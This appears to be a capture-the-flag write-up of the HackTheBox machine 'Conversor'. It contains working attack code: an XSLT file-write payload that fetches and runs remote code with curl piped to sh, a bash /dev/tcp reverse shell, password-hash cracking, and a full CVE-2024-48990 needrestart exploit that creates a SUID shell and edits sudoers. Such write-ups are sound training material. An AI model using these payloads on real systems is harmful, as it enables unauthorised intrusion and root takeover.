Post

Conversor

Conversor

Recon

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿vm-kali)-[~]
└─$ sudo nmap -p- --min-rate 10000 10.129.200.45                                                                   
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 01:54 PDT
Warning: 10.129.200.45 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.200.45
Host is up (1.6s latency).
Not shown: 40309 closed tcp ports (reset), 25224 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 73.23 seconds
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~]
└─$ sudo nmap -p22,80 -sCV 10.129.200.45        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 01:56 PDT
Nmap scan report for 10.129.200.45
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.68 seconds

Add 10.129.200.45 conversor.htb to /etc/hosts. Also fuzz for any subdomains with ffuf.

Website

On visiting the website we are immediately greeted by a login page.

alt text

On trying a credential like admin:admin the server responds with Invalid Credential.

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Wed, 29 Oct 2025 09:06:36 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 19

Invalid credentials

Let’s register a account. After logging in we are greeted by an XML and XSLT converter for nmap results. There’s also an About page.

alt text

By the looks of it, there might an XXE, or a file upload vulnerability here.

The about page allows for downloading the source code of the web :D

alt text

Code Review

Let’s deep dive into the source code and figure out what part of the website is vulnerable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ mkdir source_code                  
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ tar -xf source_code.tar.gz -C source_code
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ ls -la source_code
total 44
drwxrwxr-x 7 kali kali 4096 Oct 29 02:16 .
drwxrwxr-x 3 kali kali 4096 Oct 29 02:16 ..
-rwxr-x--- 1 kali kali 4461 Aug 14 13:47 app.py
-rwxr-x--- 1 kali kali   92 Jul 30 21:00 app.wsgi
-rwxr-x--- 1 kali kali  528 Aug 14 13:52 install.md
drwxr-x--- 2 kali kali 4096 Aug 14 13:45 instance
drwxr-x--- 2 kali kali 4096 Aug 14 13:43 scripts
drwxr-x--- 3 kali kali 4096 Aug 15 17:03 static
drwxr-x--- 2 kali kali 4096 Aug 15 18:17 templates
drwxr-x--- 2 kali kali 4096 Aug 14 13:43 uploads

There’s also an sqlite db present under instance dir, with no data of course.

1
2
3
4
5
6
┌──(kali㉿vm-kali)-[~/htb/conversor.htb/source_code]
└─$ ls -la instance 
total 32
drwxr-x--- 2 kali kali  4096 Aug 14 13:45 .
drwxrwxr-x 7 kali kali  4096 Oct 29 02:16 ..
-rwxr-x--- 1 kali kali 24576 Aug 14 13:45 users.db

The vulnerable function is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

The XML file has resolve_entities=False which prevents entity expansion, but the XSLT file is parsed without those restrictions!

Let’s create a dummy .xml and a malicious .xslt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat xxe.xml                                              
<?xml version="1.0" encoding="UTF-8"?>
<nmaprun>
  <host>
    <address addr="127.0.0.1"/>
  </host>
</nmaprun>
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat xxe.xslt 
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <body>
        <h1>File Content:</h1>
        <pre><xsl:value-of select="document('app.py')"/></pre>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

Uploading both of them gets us:

Error: Cannot resolve URI /var/www/conversor.htb/uploads/app.py

Instead of an XXE there might be an XSLT specific vulnerability.

Shell as www-data

We can use an xslt like this, also known as XSLT Code Execution:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exploit="http://exslt.org/common"
    extension-element-prefixes="exploit"
    version="1.0">
<xsl:template match="/">


<exploit:document href="/var/www/conversor.htb/scripts/test2.py" method="text">
import os
os.system("curl 10.10.16.12:80/x|sh")
</exploit:document>

</xsl:template>
</xsl:stylesheet>

The above payload writes a file to the disk, which can be executed by a cron job.

Content of x:

1
2
3
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat x       
bash -c "bash -i >& /dev/tcp/10.10.16.12/1234 0>&1"

It will be uploaded to /scripts/test2.py, we will get a request on our python http server shortly:

1
2
3
4
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.200.45 - - [29/Oct/2025 02:52:01] "GET /x HTTP/1.1" 200 -

also a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿vm-kali)-[~/htb/conversor.htb/source_code]
└─$ rlwrap ncat -lvnp 1234
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.200.45:43280.
bash: cannot set terminal process group (3174): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ whoami
whoami
www-data
www-data@conversor:~$ 

Let’s retrieve the db content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@conversor:~$ ls -la
ls -la
total 12
drwxr-x---  3 www-data www-data 4096 Aug 15 05:19 .
drwxr-xr-x 13 root     root     4096 Jul 31 03:55 ..
lrwxrwxrwx  1 root     root        9 Aug 15 05:19 .bash_history -> /dev/null
drwxr-x---  8 www-data www-data 4096 Aug 14 21:34 conversor.htb
lrwxrwxrwx  1 root     root        9 Aug 15 05:19 .python_history -> /dev/null
lrwxrwxrwx  1 root     root        9 Aug 15 05:19 .sqlite_history -> /dev/null
www-data@conversor:~$ sqlite3 conversor.htb/instance/users.db
sqlite3 conversor.htb/instance/users.db
.tables;
Error: unknown command or invalid arguments:  "tables;". Enter ".help" for help
.tables
files  users
SELECT * FROM users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|marsh|d3ee527baae384aad8ef4ba0e308da7c

From crackstation: Keepmesafeandwarm

SSH as fismathack

We can ssh with the above cracked credentials:

1
2
3
4
5
6
7
ssh fismathack@conversor.htb
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Oct 29 09:57:39 2025 from 10.10.16.12
fismathack@conversor:~$ cat user.txt

For privilege escalation, we do the classic sudo -l and see we can indeed run a binary with SUDO priv.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

fismathack@conversor:~$ needrestart -h
Unknown option: h
Usage:

  needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]

    -v          be more verbose
    -q          be quiet
    -m <mode>   set detail level
        e       (e)asy mode
        a       (a)dvanced mode
    -n          set default answer to 'no'
    -c <cfg>    config filename
    -r <mode>   set restart mode
        l       (l)ist only
        i       (i)nteractive restart
        a       (a)utomatically restart
    -b          enable batch mode
    -p          enable nagios plugin mode
    -o          enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
    -f <fe>     override debconf frontend (DEBIAN_FRONTEND, debconf(7))
    -t <seconds> tolerate interpreter process start times within this value
    -u <ui>     use preferred UI package (-u ? shows available packages)

  By using the following options only the specified checks are performed:
    -k          check for obsolete kernel
    -l          check for obsolete libraries
    -w          check for obsolete CPU microcode

    --help      show this help
    --version   show version information

There are multiple known CVEs associated with needrestart, the one that interests us is arbitrary code execution as that allows for LPE.

needrestart CVE

Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.

We can confirm that needrestart on the victim machine is < 3.8.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fismathack@conversor:~$ needrestart --version

needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <thomas@fiasko-nw.net>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

Privilege Escalation

On attacker machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿vm-kali)-[~/htb/conversor.htb/CVE-2024-48990-PoC]
└─$ cd ..                 
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ cat << 'EOF' > lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
    if(geteuid() == 0) {
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ gcc -shared -fPIC -o __init__.so lib.c
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/conversor.htb]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.114.227 - - [29/Oct/2025 03:38:17] "GET /__init__.so HTTP/1.1" 200 -

On victim machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
fismathack@conversor:~$ cd /tmp
fismathack@conversor:/tmp$ mkdir -p malicious/importlib
fismathack@conversor:/tmp$ cd malicious/importlib
fismathack@conversor:/tmp/malicious/importlib$ wget http://10.10.16.12/__init__.so
--2025-10-29 10:38:18--  http://10.10.16.12/__init__.so
Connecting to 10.10.16.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15520 (15K) [application/octet-stream]
Saving to: ‘__init__.so’

__init__.so                                         100%[============================================

2025-10-29 10:38:19 (18.5 KB/s) - ‘__init__.so’ saved [15520/15520]

fismathack@conversor:/tmp/malicious/importlib$ cd ..
fismathack@conversor:/tmp/malicious$ cat << 'EOF' > e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF
fismathack@conversor:/tmp/malicious$ PYTHONPATH="$PWD" python3 e.py 2>/dev/null

Now, in another terminal ssh again as fismathack and run needrestart:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Last login: Wed Oct 29 10:40:17 2025 from 10.10.16.12
fismathack@conversor:~$ sudo needrestart -v
[main] eval /etc/needrestart/needrestart.conf
[main] needrestart v3.7
[main] running in root mode
[Core] Using UI 'NeedRestart::UI::stdio'...
[main] systemd detected
[main] vm detected
[Core] #820 is a NeedRestart::Interp::Python
[Python] #820: source=/usr/bin/networkd-dispatcher
[Core] #21120 is a NeedRestart::Interp::Python
[Python] #21120: source=/tmp/malicious/e.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
  ImportError: dynamic module does not define module export function (PyInit_importlib)

Remainder of file ignored
[Core] blacklisted: /tmp/malicious/e.py
[main] inside container or vm, skipping microcode checks
[Kernel] Linux: kernel release 5.15.0-160-generic, kernel version #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025
Failed to load NeedRestart::Kernel::kFreeBSD: [Kernel/kFreeBSD] Not running on GNU/kFreeBSD!
[Kernel/Linux] /boot/vmlinuz.old => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz-5.15.0-160-generic => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] /boot/vmlinuz-5.15.0-151-generic => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] Expected linux version: 5.15.0-160-generic

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.

On the previous terminal we get the root shell:

1
2
3
4
Got shell!, delete traces in /tmp/poc, /tmp/malicious

whoami
root

Explaining CVE-2024-48990

needrestart is a utility that checks which services need restarting after updates. When run as root, it has a vulnerability where it can be tricked into loading malicious Python modules from attacker-controlled paths.

1. The Malicious C Library (lib.c):

1
static void a() __attribute__((constructor));
  • This creates a constructor function that runs automatically when the shared library is loaded
  • It doesn’t wait to be called - it executes immediately upon import
1
2
3
if(geteuid() == 0) {  // Check if running as root
    setuid(0);
    setgid(0);
  • Ensures we have full root privileges
1
2
const char *shell = "cp /bin/sh /tmp/poc; "
                    "chmod u+s /tmp/poc; "
  • Copies /bin/sh (shell) to /tmp/poc
  • Sets the SUID bit (u+s), so when ANY user runs /tmp/poc, it runs with root privileges
1
2
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
  • Adds a sudoers entry allowing anyone to run /tmp/poc without a password (backup method)

2. The Directory Structure:

1
2
3
4
/tmp/malicious/
├── importlib/
│   └── __init__.so  (our malicious library)
└── e.py

When Python tries to import importlib with PYTHONPATH=/tmp/malicious, it looks for:

  • /tmp/malicious/importlib/__init__.py or
  • /tmp/malicious/importlib/__init__.soour malicious library!

3. The Python Trigger Script (e.py):

1
PYTHONPATH="$PWD" python3 e.py
  • Sets PYTHONPATH so Python searches /tmp/malicious first
1
import importlib
  • When needrestart (running as root) evaluates Python code, this import loads our malicious .so file
  • The constructor function executes immediately as root
1
2
if __import__("os").path.exists("/tmp/poc"):
    __import__("os").system("sudo /tmp/poc -p")
  • Checks if the SUID shell was created
  • If yes, executes it with -p flag (preserves root privileges)
  • You now have a root shell!

Summary

  1. Compile malicious .so that creates a SUID shell when loaded
  2. Place it where Python will find it (malicious/importlib/__init__.so)
  3. Trigger needrestart to run Python code as root
  4. Python imports our fake importlib module
  5. Our code executes as root, creating /tmp/poc (SUID shell)
  6. Execute /tmp/poc -p to get root shell

This post is licensed under CC BY 4.0 by the author.